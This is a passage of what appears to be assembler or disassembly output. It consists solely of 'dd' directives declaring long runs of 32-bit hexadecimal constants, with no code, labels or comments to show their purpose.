9BB9B57Dh, 94B0468h, 0F483CC95h dd 73F70930h, 0D124AD83h, 0D6676AC4h, 9653558Eh, 0A9CDAB46h dd 50F8B79Ch, 0C0AEBB36h, 4163E063h, 0CE2CD40Dh, 7B5B626Eh dd 0A7FCB3A1h, 5F24D039h, 0BF42C12Bh, 9DE1251Fh, 0DB80A601h dd 0B1A9896Dh, 0DCCDBF08h, 899C4181h, 952CDAD3h, 0CD8B081Dh dd 0E45B0BCBh, 166B70F6h, 0E0BE27CFh, 0C34FF46Fh, 0A125AD82h dd 0AE67CC8h, 5CF99CEDh, 9E62BF8Bh, 81C2A365h, 0A2B6881Fh dd 18EE4CADh, 6A84747Dh, 0CDCE5456h, 0F5B3819Fh, 3E098637h dd 0F91E219h, 75EFCC11h, 0A21F9C02h, 0AA9314F9h, 9F0EC6F9h dd 614A3036h, 0C01328D9h, 0FAC236DDh, 0EBB0C09Ch, 0E986C539h dd 5ADA09Bh, 3F20E6DAh, 702BD9DEh, 0CA79ED1Ch, 92D3D41Bh dd 68A7C586h, 73D9183h, 0B2D4DEB2h, 505AC239h, 448C8A25h dd 0BF6C2993h, 63F5E3CDh, 31595CDFh, 23519D10h, 0DEA3A001h dd 12CBC2F0h, 7052C43Ah, 649AFB85h, 652D25AAh, 21FC054Eh dd 64B5C9E2h, 0B6C28932h, 4488A6Bh, 1DEC00CAh, 0A0A683C8h dd 0D4AF07A5h, 0E85CDAC6h, 0F0EA33CFh, 600EAF8h, 0F825FB82h dd 5ECEBB7Ch, 5264ABE7h, 0B1A21DF0h, 5AD37331h, 0E44D91A0h dd 1F789DAAh, 0A1472F2Dh, 0FDC2E3CAh, 7C934CACh, 0EDEBEB99h dd 0F0BFC498h, 3B41AB78h, 717BD9C3h, 0CA605103h, 275593FCh dd 0C06AE9FFh, 0F0076861h, 2C700527h, 345EB307h, 85AD4C87h dd 3CB14D32h, 0DEB908C4h, 0ACDB680Ah, 6E4E3CE5h, 99C65A1Ch dd 3772E2C4h, 81F73D08h, 0E005CD12h, 5F786024h, 44BCB847h dd 5CBB569Ah, 6BA50FCh, 66AAE1F1h, 1FA3469h, 73EB8A8Bh dd 0CC0E58C8h, 57749C8Fh, 0AD12918Dh, 4BCC7795h, 2086CD0Bh dd 9A0CD4A1h, 2207378Ch, 74D9E51Fh, 0B031DA2Eh, 6706F3D9h dd 231165D7h, 3FBED6ACh, 4FD9EB14h, 9734F603h, 1EAE50D3h dd 723360EBh, 0C9B28D5h, 0CD988B20h, 2D577591h, 0F519AFB4h dd 26ABA79Ah, 65E469A7h, 0A0EDD54h, 836D2F6Eh, 926F281Fh dd 7CE0EA43h, 4629CCEAh, 3A233793h, 98A3C2F8h, 0FE87DBB8h dd 765D24Dh, 96CBDCFFh, 602127B6h, 64948BB6h, 4C410695h dd 98908DD1h, 17FB4BEBh, 3C03CA1Ch, 3A54823Fh, 85FFE981h dd 575817C7h, 820DF878h, 0AD63B0D9h, 68E8EA50h, 0EBD95FB4h dd 0EF92E527h, 868D4F0Eh, 0D2F74A17h, 0F41742F4h, 0D457683Bh dd 97CF5820h, 461A765Ah dd 13E66823h, 20947643h, 0D47E23F2h, 946F202Ah, 9D62728h dd 43F8A399h, 46E4BCA6h, 7A879297h, 182CD042h, 0AB5974C0h dd 4E5F7782h, 0A9FD28C9h, 45090CD6h, 0B639C6A3h, 0FE537C14h dd 428D5931h, 8BFA3A06h, 95AEE8BEh, 52580A3Dh, 956A2042h dd 8188FD9h, 0B0585A03h, 0F378CDA9h, 0BE6182Eh, 0A0D8F5FDh dd 7879314Dh, 0EC7A62E7h, 9354EF40h, 0F5715E1Dh, 738CE1Dh dd 3A97D03Dh, 0CC4E6FE4h, 4DF293E3h, 23B3BD9Fh, 34ABC88Eh dd 8075D7C7h, 27217B41h, 27D7C105h, 8E08BA2Eh, 0B2E2B394h dd 0B5FA7924h, 49E62F3h, 0B25E04C1h, 716781A9h, 0C0D9E14Eh dd 0A36F74A1h, 7AB8734Bh, 0DAB01FC0h, 0CD1D28B4h, 0C0AD7808h dd 0B63EC1E2h, 0C2C4915Fh, 8BA5EC40h, 0BC10A746h, 38C0824h dd 16A73802h, 0E595988Ah, 0DF1331BAh, 0BA7C0B0Fh, 1E725197h dd 106E3C8Dh, 0B8FE617Ah, 87B158FEh, 0FB34666Eh, 42E04F36h dd 24AE77F3h, 0D81AC0D0h, 7B0F2209h, 4D211A43h, 99B3A018h dd 0B8438A22h, 23FD4AD7h, 928C337Bh, 0AC2164D3h, 26272E95h dd 0BBAD9697h, 844BB03Ch, 0BD4309Bh, 41F1990Fh, 77C72051h dd 10D83FB9h, 9344D4CEh, 167FD32Fh, 8FC9F408h, 0E18C621Bh dd 0F002AF60h, 40542396h, 5148CCE5h, 63E7DEE7h, 0E55E0CBh dd 0A5DE7F4Bh, 730F4516h, 21C0FE7Bh, 6DC1868Dh, 1FB08318h dd 0AB827E6Eh, 4F0AF06h, 894BFC8Fh, 3BC14A18h, 7AF19221h dd 5320F20Eh, 21EC27F5h, 5E2C9031h, 0E9D22CBBh, 0E8BB431Fh dd 55A3AB8Dh, 38FBEDB3h, 0B1F8C4C8h, 237B3868h, 0FDE5E68Bh dd 35AFF821h, 9527545h, 0C11358E9h, 339CB44Dh, 2CCB9B59h dd 155E717Bh, 27BE0C38h, 619C91Dh, 7C773FF4h, 8C818715h dd 6F77CF14h, 0C24A60Bh, 1F1EBB47h, 9222CE08h, 8BF69429h dd 0DEBB2E6Bh, 0AC243166h, 0A54D1F38h, 222236C6h, 3F6169C2h dd 1BA9BD6Bh, 9611C4F8h, 544E2431h, 6CB9FCD2h, 125760DDh dd 0EEA1C167h, 87D97165h, 97E3FA05h, 0DFBE254Ah, 0D9B07CC4h dd 851CDBC9h, 5DDA33B0h, 0AE1576F5h, 5E85EB44h, 0EF232431h dd 5A7D82C1h, 0D51B573Dh, 2485CC04h, 8B0BF3DBh, 646FAF02h dd 0CBCF5E87h, 753CAADDh, 323F414Fh, 0E59885E5h, 26161D1Bh dd 153B5F0Dh, 893330F0h, 183C7FFEh, 174A8F99h, 57344604h dd 0D98C4D6Ch, 0CA279993h, 1A1F83EAh, 2AB2AB27h, 54149E21h dd 69216E85h, 0C807E86Ch, 36E150C5h, 7017CADFh, 0D5CC690Ch dd 0ED4E64FEh, 10DAD835h, 2DBF8B73h, 0D59445B9h, 0E507B580h dd 98B88A2Bh, 0CD2D823h, 0AD30B7DAh, 4E9075AAh, 0F2646C2Eh dd 0D7814D3Bh, 433B01FCh, 0E3CEAFB2h, 0BBAD375Fh, 0E890F086h dd 6DBD4DDDh, 70A13173h, 0DD87BA30h, 0B7DCC0DAh, 29D763B5h dd 245E8C97h, 90DD24F3h, 57D67E22h, 0A92472D5h, 0A50B479Dh dd 0FF689D9Fh, 0C281E2Fh, 91A20544h, 54F1A1EDh, 0B4DA765Ch dd 0B48E317Bh, 0E11E6330h, 0D14D97AEh, 3F23D7E5h, 0C592877h dd 440D37A2h, 0B7155715h, 0CEC6E45Bh, 0B7B830F0h, 0E0249BCBh dd 0B8B4E79Fh, 54370B1Eh, 0E50DAB91h, 595A9D09h, 0C1BEBE5Fh dd 800417C9h, 9967C418h, 3F5E1648h, 4BCF6355h, 0AF1979E1h dd 0B18E0CBFh, 8AC2FAACh, 9EA885D1h, 6FB1F57h, 48F4A3B0h dd 58A66C90h, 1369759Eh, 9FDF40F5h, 7154C3B9h, 9DF602C1h dd 29D1459Bh, 596BAEF5h, 82FB1D66h, 143CFEC3h, 0D8D166EFh dd 0E15D478h, 7CC48F44h, 0BA38B0C2h, 0A51EB5D6h, 0FB9ACAB2h dd 7771EF55h, 391FFF6Eh, 48C1FBE9h, 69D925C2h, 41495FF3h dd 0E6DF65CCh, 4EFA1784h, 74F07BF7h, 1340BB2Fh, 0B90FCDABh dd 78188174h, 35571682h, 8F067752h, 52E2A3BCh, 0B6B735AAh dd 47C4B248h, 13D222A5h, 0E6519D08h, 4D8FC632h, 0D0365B33h dd 7E44483Dh, 0EF1F717Ah, 4239F7DDh, 0AEFDB0F9h, 5CFEC0FAh dd 0A29EA205h, 46A7CFB2h, 2ADBB304h, 4F8CEE75h, 8135FFE7h dd 0B5B547B6h, 0C683F933h, 0B53D0458h, 76B8209Ah, 0AE337411h dd 6233A77Bh, 3BDC9CD3h, 0CCEA5849h, 20DB83A2h, 0EA4956B5h dd 0DDA31BCFh, 0B6778C47h, 2FE187AFh, 6F43B510h, 0A9E9711Dh dd 8687E802h, 63D43207h, 0C9F0759Ah, 0B94AEC71h, 53C2534Fh dd 98F9F5CAh, 4F6DB54Ch, 0FCE3BD76h, 48B652D9h, 15BE4136h dd 0BE0E6C92h, 0BFDFAAD1h, 7A4B20B8h, 89B2BDACh, 556B2188h dd 73B5C02Dh, 0F86FEEDFh, 332E5FB7h, 0E1D27705h, 5F379BF7h dd 8ACF79C0h, 3121C9F3h, 657EA0A4h, 0BE09DF7Ah, 6BE5D7F0h dd 784DF0AAh, 0FDBA97B8h, 8BC714ECh, 31BB8F54h, 6601B6F5h dd 0AE0B53Eh, 7D712FAAh, 3696838Bh, 70D3E3C7h, 15988F60h dd 42AC8560h, 0CBE1B5Bh, 0B8E5DC1Ch, 516D47EAh, 4F93F209h dd 0EC610143h, 238933B8h, 95B68247h, 0CD824053h, 0C703A645h dd 3F98B582h, 0C1BF8448h, 0EA5AF353h, 0FC4AE9CDh, 95329787h dd 0AC874E83h, 9B10DA1h, 0C3331459h, 84ADF5FAh, 0BDF7718Fh dd 0DF46E76h, 18431AB2h, 0DE7FE16Fh, 0C323FA69h, 72AF3F11h dd 57434058h, 0FBE0C93Bh, 6396F465h, 1DAED97Fh, 76F2193Ch dd 0D03AFFE9h, 6057DFCAh, 0E6567164h, 7F52C03h, 9475799Ah dd 2A7F187Ah, 0A45FA7BEh, 784C2AAAh, 1113B9Ah, 6717C433h dd 0C8D1FC01h, 0F704BEE7h, 0CBB29639h, 0E5585E78h, 8E560D8Ch dd 1B8F2461h, 0CF5C754h, 0E7E6508h, 0A68316BBh, 680C2B73h dd 90761A8Fh, 0A993EEBFh, 20CB1390h, 0CB19E8BCh, 19A37F74h dd 0EF0D4990h, 5D21C230h, 0B59E0A5Fh, 6316BE75h, 0EFE670CFh dd 8673F1D5h, 0E73DD849h, 381E44DCh, 0DAC30189h, 0C6B93DA2h dd 0FBC4842Bh, 0E5EA120Fh, 609B2C29h, 0F5AA440Eh, 0EBB63DADh dd 0E3B88B2Eh, 7B9F3728h, 2EDECAB5h, 4F0A3772h, 49197083h dd 0B1F82772h, 4310FC6Eh, 44B5BF26h, 8829C6EAh, 0A683D17Dh dd 17834820h, 0C14AB553h, 0E726F183h, 2BC2D7F4h, 2DDD4C45h dd 691826FBh, 0E61AEFFCh, 80D34903h, 7CB8D5FEh, 0E3F309C8h dd 49D3CB9Eh, 87F6A61Ah, 2BFF346Bh, 3F04C75Fh, 46DF83EFh dd 66C3BEDCh, 0E1F16720h, 0A54699CDh, 6B496DC0h, 91297BE5h dd 56BB4712h, 0FAB1E8CEh, 0CFE22061h, 14C71894h, 63DF70DFh dd 3C91A84Fh, 0B299D311h, 1E7CA357h, 562052D6h, 0E8A77DD0h dd 9BE8150Dh, 0DE348D64h, 0B1B6789Ch, 36D1B217h, 9E46DF9Bh dd 8D32772Ch, 49D8C69Ch, 89BD6AD0h, 0AA6AF4DBh, 0ABB15965h dd 0E336E21h, 9188AD70h, 6642DC89h, 0C80A37D9h, 632A7F27h dd 6CEF58C7h, 0AC3C1815h, 2A75AA27h, 0EB353BB7h, 1EE305BCh dd 888538B2h, 0A9BE7FB1h, 83DAD108h, 7B09D18Eh, 8C511D50h dd 0F856C767h, 1C1EF5E4h, 7AF6E518h, 79C4667Fh, 125F9C1Dh dd 3CDBE942h, 825E0BB0h, 2C132CDDh, 21FB9A6Bh, 7A353CB3h dd 7DEE4943h, 7E5FE90Eh, 0F36C7759h, 0F88D25E3h, 11FAFEEh dd 174C5E9Dh, 760A05D5h, 0BC5380FAh, 5E1E34A0h, 57DE84DDh dd 0F050BC8Dh, 6E681437h, 57D6AD9Ch, 1836FE7Bh, 7B004112h dd 0D2CF1FF0h, 6B51BD34h, 308A2E7Dh, 0BD7B4C6Dh, 8E28AC43h dd 0E10D671h, 9C550F02h, 981927F9h, 59BFE20h, 0F51DD465h dd 95EABA34h, 71244D63h, 37D43BFAh, 0BD50E01Dh, 4977B545h dd 0DC0F19EFh, 95183CCh, 0B54ACBF2h, 5319433Fh, 0ECF0F84Bh dd 7929A383h, 0F2A778Fh, 7657D8CCh, 7DFCAF53h, 3278017Fh dd 4A56A2E8h, 15DD85E9h, 0C142FE10h, 754CDF58h, 0B611D9EAh dd 0DBB31B56h, 0D664F14Ah dd 7D64FA06h, 6ACD29CAh, 92DEAA3Ah, 659E51Ch, 50569757h dd 441D9530h, 31911DC4h, 9866B538h, 0D13BC055h, 5D5955F4h dd 0B07BEA0Fh, 0BBF40E8Eh, 0E804D63Ah, 9613B886h, 0E0A37BCEh dd 59F10A27h, 0A2ACC33Ah, 6CCE7387h, 6C883289h, 5F84E768h dd 0E3D2C9C6h, 0F8E9F972h, 50205B23h, 497A6ABBh, 0B66CE43h dd 59C17F74h, 0F1C2FA9Ah, 7771ADF6h, 81BCAA7Bh, 0F1AC0F69h dd 41B7D4C5h, 0E533F219h, 3039152h, 80D28FE0h, 59E4AEAh dd 864D0CB3h, 0CF33D310h, 62F36058h, 87918C8Ah, 0FDF5ADBh dd 47DC35C3h, 0DF95477Bh, 44842F3h, 0B6C3DE1Ch, 0DD3198D7h dd 8104B586h, 2B20EB48h, 0DC794A04h, 10B8ADEBh, 0E5BFB65Ah dd 87B3A0A5h, 96957D3Bh, 0F7912270h, 3F325ADCh, 49255D90h dd 5DCE9846h, 76F9A249h, 6633D021h, 0BF02A4A0h, 1D6B4E9Bh dd 6FEFE698h, 34B71DF4h, 0F72DF913h, 335E0F83h, 0C4B8481Fh dd 8A0ECC17h, 0A197E425h, 9D3E6B94h, 4C51540Ah, 901966D8h dd 2ABB7916h, 1E011532h, 61C167E0h, 1FF60CFAh, 21DE4896h dd 3EB034D0h, 75ED823Ch, 0E926351Fh, 0F016354Fh, 693E3C7Bh dd 8567B9EFh, 0C40EA1CFh, 49951E5Bh, 0AFE500C1h, 0B8422A3h dd 0FCE275C6h, 0F53006AAh, 0C6D8BF6Eh, 0EDB125F8h, 1B720C62h dd 0C7156EC6h, 0E562B4DDh, 419BDD44h, 1677848h, 97BC3AD9h dd 79C8C48Fh, 0B7E36C19h, 54A1F3A8h, 0CED7A2FAh, 5E165947h dd 1D63BA83h, 0C50BE36Ch, 0ECE588A5h, 98523735h, 0BD466645h dd 199720CFh, 0D2842120h, 6A08EBF2h, 0FE16BD5Eh, 0A9F4CB21h dd 0D3B48BAh, 0BFE65986h, 93C4D2EDh, 3DD8221Ah, 0F42B0AD3h dd 6654C08Dh, 0B2665B47h, 0BD139CF7h, 98374DBBh, 3A84086Eh dd 5EE14A2Dh, 4EB1E8D9h, 0E6342E75h, 3B2E810Ch, 0A061024h dd 552EB37h, 33F2751h, 0F2D33DE6h, 5525114Ch, 9DA4F4C5h dd 9FC3812Ah, 74F233CFh, 5D0409E1h, 0D6A0CE2Dh, 0E4B08D41h dd 47FC859Eh, 7CE32102h, 44DB204Bh, 6231288Fh, 0B470AA81h dd 88FE9BEEh, 1C875532h, 0AC4BA6A7h, 0FBF6E065h, 148E46ABh dd 12700953h, 0F66297Ch, 70EE559h, 9062C2A9h, 8BE02B04h dd 7D2A8A9Fh, 0D25CAC28h, 4140E16Ah, 8BF94178h, 0B6C07413h dd 2C21F977h, 0DDB49AE9h, 25FF4680h, 9216D2FFh, 9F79A2Bh dd 0D1BFED6Dh, 57117E5h, 5C985EDDh, 0CB23589Ah, 9E84AA3Ah dd 0A51F6CADh, 0A3FA0691h, 0E967EC47h, 0A71F8D3Ah, 0DE3E33D3h dd 5DD3BF83h, 93EBF8D2h, 0A061EBC8h, 6BF31ADh, 0E3EC7CEh dd 0B9AD14E6h, 7B4032Dh, 2B1DDCC2h, 901B2C59h, 66A1800Ah dd 88A677E3h, 0F53FAD64h, 0E409C1Fh, 1D96B4BCh, 0CA75F93Dh dd 40144CA5h, 876A619Fh, 0DA3EF6DDh, 4E3D729Ch, 36E54555h dd 7F083F07h, 0C1B24F63h, 0F23E91C7h, 77FB90Ch, 0D0A739F8h dd 5A14E3F6h, 6326B2ECh, 0E05E7816h, 0E9521CCBh, 2196CC2Bh dd 18BB33A2h, 0E3A922CBh, 260FA9E7h, 3637AD30h, 799CCFACh dd 2C24407Eh, 3DEE31E4h, 69F34A22h, 2114DA94h, 0CDC57FB6h dd 3A96676Ch, 233C2088h, 4BDF85F7h, 75F61767h, 911E958Eh dd 98BC57FFh, 43092066h, 6302FC8h, 2652BA40h, 0EFD04A10h dd 44AB7607h, 6C31B808h, 28EB6CE5h, 0F0005B7Fh, 0C83408Ch dd 41D26C2Fh, 408FA6B4h, 2BCCCD89h, 0DBF90237h, 0EF289Dh dd 41D66249h, 0A1750741h, 4F0E1B36h, 75409CF8h, 0BC855AABh dd 390D7366h, 9FBDF275h, 524504ADh, 374BE702h, 85D42E82h dd 0DFAA3A2Ch, 22395858h, 0BF453619h, 39763F75h, 0D3586E74h dd 0ED006C95h, 23C661C6h, 59B95B1Eh, 0DB15199h, 0E2427824h dd 0D111D656h, 83D8F49Ah, 0D23DCB0Fh, 0BCA0E195h, 0D7097D8h dd 0AF1A98F5h, 75D81921h, 0E3D0B84Ch, 0CC0B2CA8h, 0F587D26Ah dd 6DBC6C2h, 0F68A0A6h, 3FE3FBDEh, 3A0B08B0h, 2F6752E1h dd 48D14DD0h, 40F92796h, 5E816A8Ch, 0ADB05AF9h, 0CF170D2Eh dd 14A2314Ah, 471600B3h, 0A7CF1AFBh, 5FB90418h, 0B61739C9h dd 431C911Eh, 340B2BFBh, 3C400778h, 636E6FCEh, 0B596889Fh dd 7AB42762h, 5948E264h, 127359B2h, 0EA46454Fh, 0DB19AFCEh dd 0A3B3BDA4h, 7DB1E6A9h, 0E9F0C464h, 0AA7A483Dh, 0ACE22467h dd 0DA95F1F8h, 8211D33Eh, 0F4E9B2A0h, 684B9662h, 4383C20Dh dd 288851B5h, 0DC019D7Eh, 3758E55Fh, 0CBE59DB7h, 2479E256h dd 0BBDEF467h, 487B18BFh, 72AE6050h, 29367060h, 783CD8DBh dd 0F8D75DBEh, 0FD6ACFC3h, 1D7E9DFh, 0AABFAD1Ah, 4C9BC89Bh dd 0F113F43Eh, 9F52B501h, 0D9513A0h, 2B38D871h, 0B526E816h dd 7D9C01C2h, 62CA4A29h, 4BB9F8FDh, 517DB87h, 0C2510FD9h dd 0A3415DE6h, 0C6FB5C54h, 0D707F061h, 0E965BA9Dh, 0BC6AC4E6h dd 64B4195Ah, 6CE6618Dh, 0E1EBED16h, 814F901Dh, 0EE17FC7Fh dd 82B8BA57h, 0AAD0D17Eh, 35205EC5h, 13FF7110h, 0BF008FDEh dd 3D65B3A7h, 0A8ABB87Dh, 6D8BC81Ch, 0B91B700h, 6B685799h dd 0E294094Eh, 1D4E7FCCh, 0C2E2AB37h, 50D54128h, 8BB55AEDh dd 5C8501D4h, 7A38540Eh, 40B01285h, 3840A98Dh, 0A1E2583Fh dd 3755ABAh, 0C502B5C7h, 2721657Ch, 9E8C7DB1h, 7B67542Fh dd 11B7737Ch, 0AD5662C5h, 72D2AF43h, 9E477E86h, 56E0AFCCh dd 0F9C1B265h, 9E28D19Ah, 0C4C91F9Bh, 21C84097h, 0A115CB93h dd 7D113A7Eh, 0AF8EF73Ah, 4A6DD4FCh, 16C068D0h, 120249A7h dd 6AF0F624h, 475E9CEAh, 0B5683041h, 0EFE261F9h, 25F0810Ah dd 5550CA10h, 5DFB8564h, 0EFEA61A9h, 7224B97Eh, 46842680h dd 276B8BF1h, 7F04069Ah, 9E556C23h, 0D952D5C7h, 7B7252AEh dd 3072908Ch, 0F04152CCh, 81429647h, 3B391D21h, 7D64064Dh dd 0B407B5FFh, 9C2035B1h, 12C7BBAEh, 8E4CD8D0h, 0BF13F29Dh dd 66DD4F85h, 971250D6h, 1D00BB75h, 0CBD78008h, 0AFF3FD7Ah dd 53563243h, 49CC2601h, 0F329F52h, 0A5C35C10h, 0BD19A981h dd 0ADBF8D61h, 1D811B01h, 0A697042Dh, 7D5C4CC3h, 9338E4D0h dd 6F49965Bh, 0E7B8A4ADh, 0C770B879h, 141AA7E0h, 63899608h dd 3BE36E2Ch, 0BA0CFBDAh, 660C2A55h, 9C93719Fh, 357CA6E2h dd 0EF804EC7h, 5E385F3Bh, 0CE8A22D0h, 81AC04D0h, 2BFFC081h dd 1473C6D8h, 99A97885h, 25A6FC7Ah, 224E048h, 0E10D687Eh dd 3211176Ch, 9A0F093Ch, 88ADCBD7h, 0E44F0D20h, 926C45DBh dd 8535EB00h, 752AE477h, 4C99E1B8h, 7C9D58DAh, 593DBFC4h dd 35C915A8h, 0D1DB6D10h, 0D49E7773h, 4118BABDh, 60A2ECAFh dd 339ED0A3h, 6582A0DEh, 2A225968h, 9F6B18C1h, 0FA0AE3E2h dd 0D73C5464h, 9B836B2h, 562EA881h, 0FBEFB7E3h, 64A394FDh dd 7AF7842Eh, 0BE425843h, 0BC771285h, 9168AC7h, 0AA3471E8h dd 0D6CF6BBFh, 0FF2BA7ACh, 0B776B313h, 55D96A27h, 0F41676ADh dd 8F19F331h, 0EE332293h, 836E8FA5h, 0EB521B3Eh, 7546D23Eh dd 134F6696h, 0A1015D84h, 0EFE0AD16h, 0F3866007h, 0D5F5EE00h dd 47BC13A8h, 6CA7312Fh, 0C4DBE0A6h, 40D4AD5Ah, 9C061B17h dd 4D540DB6h, 55F224C0h, 9C9C7ABFh, 419F7EA8h, 0A58F8EFDh dd 1B1B1819h, 11DB9C73h, 0FFC34F4Ah, 0B52B8908h, 0B7DBA8D9h dd 53A4DB0Ch, 55A42F0Fh, 0DE711475h, 57FA0159h, 4722EB26h dd 0FCDB2ACFh, 0A91BE585h, 0C23DE4D2h, 7AB0EFA1h, 0FC26AEA6h dd 0EA1C3529h, 0EFF311C7h, 0B821AB3h, 0D1ED8704h, 71CA84BCh dd 37715725h, 0A91C9D72h, 1689207Bh, 2CD603A5h, 91EF1355h dd 5BACF393h, 0ABAAD409h dd 0B6AF5AB8h, 0CF1E8673h, 0BF46C76Dh, 33225090h, 633AFDF1h dd 0B33AE51Dh, 0FE16F059h, 0DDEC6BC4h, 9436AC08h, 77BCA0A8h dd 4FCAF328h, 15025AD0h, 521A0788h, 0BBBE7FBDh, 0D6DE718Ch dd 5FBC1DFCh, 9AD61FBBh, 0E5D33567h, 0A3A8BA7Ah, 0EA48341Bh dd 8F9CFA31h, 8914DD4Ah, 7FCAE939h, 0C6AFE181h, 10F0591Ah dd 0CA211316h, 0A0FDD57Fh, 67592C2Fh, 81F4123Eh, 0DCB96AA6h dd 0F2311180h, 806B816Fh, 17D42B9Ch, 3252D4D7h, 0A55F4654h dd 519BABB0h, 919BDB53h, 44B54FEEh, 5C216E75h, 22BB9052h dd 5692D2A7h, 256ED665h, 0D14E75C9h, 33DCF866h, 0D28FD049h dd 384049B7h, 1984515Bh, 63BB412Dh, 7CC4F4B1h, 3199EFB4h dd 878E120Fh, 0C325BFE4h, 7B8B9598h, 0A27ED92Ah, 765DB3B2h dd 0A52BC856h, 80163740h, 5274AA52h, 0D543351Dh, 46D10EC0h dd 0B630D2C9h, 43AE4E1h, 86E6C3F1h, 0E848835Ah, 3FFAB2D9h dd 0DE5D0BE6h, 658F13C1h, 482E6EB6h, 0EAA4F399h, 3ED59795h dd 81B9B481h, 0A85C016h, 2FBC79AFh, 61469206h, 0C819E180h dd 0FC547E6Ch, 2D153DB6h, 68E55A8Dh, 0C9832718h, 4C3A70A6h dd 0FFCE2891h, 116B7795h, 0FCDAE885h, 0FC5AF1ECh, 0C2B23764h dd 0EB031DB8h, 69961723h, 0BD962D13h, 7AAD3F5Ch, 3A19449h dd 344767Ch, 0C12321D1h, 5E4D2749h, 6673E09Dh, 0D0BD3C2h dd 4C316428h, 6E640960h, 350D123Fh, 7B824EEEh, 2D17AA2h dd 13A37335h, 9B71E838h, 4E1FA2E5h, 1040A7B7h, 6B0C6E9Bh dd 4DBB0C62h, 51553736h, 0BABF9BDBh, 3CC7F42Dh, 12C337B9h dd 0DA3AA1C4h, 514B3DACh, 97C79B34h, 0F2C3B124h, 2DE7624Bh dd 490A3949h, 97C008DAh, 0D3274B64h, 4AB4650Eh, 0AFB909A5h dd 81D5FFCFh, 0D61DD4E3h, 53B7CB0Ch, 0BFED720Dh, 8B462952h dd 0B903494Ch, 21E953E1h, 8EAE2479h, 891687E3h, 4F03B845h dd 0ABC83B5Eh, 0F94085FFh, 701C1F20h, 6ED992A9h, 3FA16C5Ch dd 3BA1187h, 0E1124589h, 8DFEF47h, 0B5842FA0h, 558ADE09h dd 0B1D1EC94h, 1D63221Ch, 0F2427230h, 1A3142FDh, 92EFB762h dd 0DBF280F9h, 0B07A428Bh, 24D40A9Eh, 0E18F49B3h, 0DB05381Fh dd 35AF89FCh, 62CCA1DAh, 2697FB76h, 0D1D0A377h, 301ECEBDh dd 4B8E8A03h, 56CDB882h, 0AAEDD26Dh, 0CCBA1177h, 0C9E500BBh dd 1BF4D568h, 49EDBEC6h, 0AAF8D24h, 0AA1EE507h, 588783E6h dd 89E6DED7h, 956E0C7h, 9E696EEEh, 11A4D470h, 944B820Dh dd 906C1658h, 0FE99B495h, 0C5137569h, 9E683BBBh, 0A1CE0A6Ch dd 371AD3FDh, 0D74B5A74h, 7A369A6Dh, 2A4D03A1h, 0DA5AA3EEh dd 0DA5FFF3Ch, 93A21798h, 69BF58Fh, 9001951h, 0F51AF843h dd 753C326Eh, 24CFF742h, 2BE77F7h, 267874B4h, 781E5066h dd 333502Dh, 0B10E63EFh, 0DD6064C1h, 46B13B60h, 0D00E8E9Eh dd 0C09C199Dh, 0C0A5C9EAh, 0EDDF4866h, 25217EECh, 9F10D348h dd 2B293928h, 26E6E4CFh, 0F4CABD4Bh, 64A7837Fh, 405C85A0h dd 3DA6E749h, 0F0C720A7h, 6652E488h, 0D8BBFBADh, 0F7584719h dd 67241F7h, 0CE6F6C2h, 0D2F75322h, 0FDCCA9FFh, 99F37AAEh dd 5F2F527Dh, 0C193322Fh, 1CCB78F3h, 3679CC55h, 4455C15Dh dd 0AA9A0227h, 0A69B9F10h, 0DE0BC4BEh, 0D1D94070h, 6274A9C2h dd 303C158Ah, 6A2C11A2h, 2D7DC9F4h, 20B3EB81h, 0D32444Ch dd 0E73D980Bh, 0C1C4FA9Ch, 1F54ED8Ah, 768FB96Ch, 12F67780h dd 0DB692594h, 52C91B69h, 83D12B0h, 0F706CA79h, 58D744B1h dd 42C65707h, 0F8AAF6E6h, 19E3ECAEh, 0D8C2939Bh, 0A0A20E65h dd 2AD88C49h, 62326AFCh, 5499C65Ah, 37CF8E0h, 4DF3AB8Fh dd 212EC037h, 8FFF2A0Fh, 4DA38166h, 0C72FC205h, 1114FCBAh dd 8584F053h, 90EF0BC2h, 3E1BDCA3h, 7DE0F8Dh, 4A0EBAD4h dd 0D57244A5h, 0F13470AEh, 376D43C4h, 53E8D8B6h, 0FD418F7Ch dd 6F7487E0h, 774B81C3h, 44715F34h, 1A298228h, 0FE5E0F5Ah dd 0FFEE650Fh, 249DAB52h, 0E3D96DB5h, 4B57CFC9h, 0D1C3F769h dd 0E4B94CE2h, 0F10DDC40h, 28EE3C55h, 0DC3C6E4Eh, 0F3C5CD85h dd 0FC094EECh, 0B95BAD4Eh, 553231E7h, 0D7B6473Bh, 49007954h dd 97DA8EA3h, 340B7B6h, 0E0302DE3h, 0DEA50D7Eh, 38AFD78Dh dd 6173D26Dh, 0D10A4A3h, 0EEC0364Eh, 4CAD2104h, 6C4FAEF5h dd 0CDE93198h, 0A7E531CFh, 2BB8A7CCh, 152F10C1h, 613ECE4Bh dd 9570BAA6h, 9B3176FAh, 517A56CEh, 0D7FC5B8Eh, 0E015129Dh dd 82069202h, 955253ECh, 3760E64h, 0AAEAA084h, 7718ABB4h dd 25DEDC55h, 0BA4D37CAh, 0FD40229Bh, 196432E2h, 76761CC2h dd 0F3FCAFF0h, 0D24C0F3Bh, 0D3609EC9h, 0E65973F8h, 0C426C8CFh dd 0D777275Eh, 0F1093632h, 8FF7D3D7h, 5C9CED2Eh, 0EDDB20FBh dd 699083ACh, 639190E0h, 0DB19B145h, 631BB3B2h, 92D16C5Ch dd 46C678C6h, 0F1660E21h, 0F1587B23h, 0A4DE927Ch, 0FE6E8A9Eh dd 8BA6A83Eh, 10C7A85Ah, 59976F11h, 3906F91Dh, 0BE0BDDDAh dd 53D931BEh, 136158B7h, 4D97DDBBh, 0AB3D8027h, 8D6B2827h dd 0F216945Dh, 14E12F92h, 390F42B9h, 0AE511EFDh, 0E2C41A8Fh dd 0A709C98Fh, 384829C5h, 61F6FAE5h, 0C174035h, 4652B18h dd 5794A3BDh, 0EF6F700Bh, 0DDA5D519h, 4BCE0BBEh, 21CD6A28h dd 0A2368C1Dh, 101AFF16h, 0C9967B29h, 720D404Dh, 0C2BEFEB9h dd 0FF7DBDBFh, 0BA8BECA6h, 6832D175h, 0EC7D7417h, 0C9572566h dd 520804DFh, 66D77617h, 0FC77A313h, 7000469Ah, 1AFF354Dh dd 5C3BC874h, 831A09A1h, 6B72EB77h, 0EB2EE301h, 5F3EE2ADh dd 767147A5h, 0A407B4FDh, 91060408h, 5537DD38h, 0C715F9F3h dd 4BB193DAh, 53B69755h, 6E74283Bh, 45502DF6h, 0E1C96021h dd 0E5EA6B3Eh, 71654F0Fh, 32E44B7Ch, 